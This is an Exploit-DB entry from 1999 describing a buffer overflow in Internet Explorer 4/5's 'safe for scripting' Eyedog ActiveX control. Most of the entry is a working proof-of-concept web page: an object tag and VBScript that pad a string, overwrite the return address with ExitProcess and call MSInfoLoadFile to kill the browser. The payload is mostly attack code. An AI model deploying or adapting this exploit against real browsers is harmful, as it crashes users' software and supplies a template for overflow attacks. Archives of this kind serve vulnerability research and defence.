Microsoft Internet Explorer 4/5 - ActiveX 'Eyedog' Remote Overflow

EDB-ID:

19487




Platform:

Windows

Date:

1999-08-21


Microsoft Internet Explorer 4.0/5.0 for Windows 95/Windows NT 4/Windows 2000/Windows 95/Windows 98 ActiveX "Eyedog" Vulnerability

source: https://www.securityfocus.com/bid/619/info

The Eyedog ActiveX control is marked 'safe for scripting' although it permits registry access and other information gathering methods to be used. It also contains a buffer overflow error. These weaknesses can be exploited remotely via a malicious webpage or email.

With this control, MSInfoLoadFile is the offending method. 
There is no easy way to RET to our code, so instead, I have 
shown how to simply RET to ExitProcess directly. This will 
cause the host to terminate.

<object classid="clsid:06A7EC63-4E21-11D0-A112-00A0C90543AA"
id="eye"></object>

<script language="vbscript"><!--

msgbox("EYEDOG OLE Control module Buffer Overrun (Local 
Version)" + Chr(10) + "Written by Shane Hird")

'Padding for the exploit
expstr 
= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA"

'RET address (ExitProcess, BFF8D4CA)
expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191)

'Call exploitable method (MSInfoLoadFile)
eye.MSInfoLoadFile(expstr)

--></script>